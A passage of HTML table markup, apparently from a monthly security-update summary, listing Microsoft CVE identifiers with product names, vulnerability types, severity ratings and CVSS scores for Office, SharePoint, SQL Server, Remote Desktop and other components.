  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
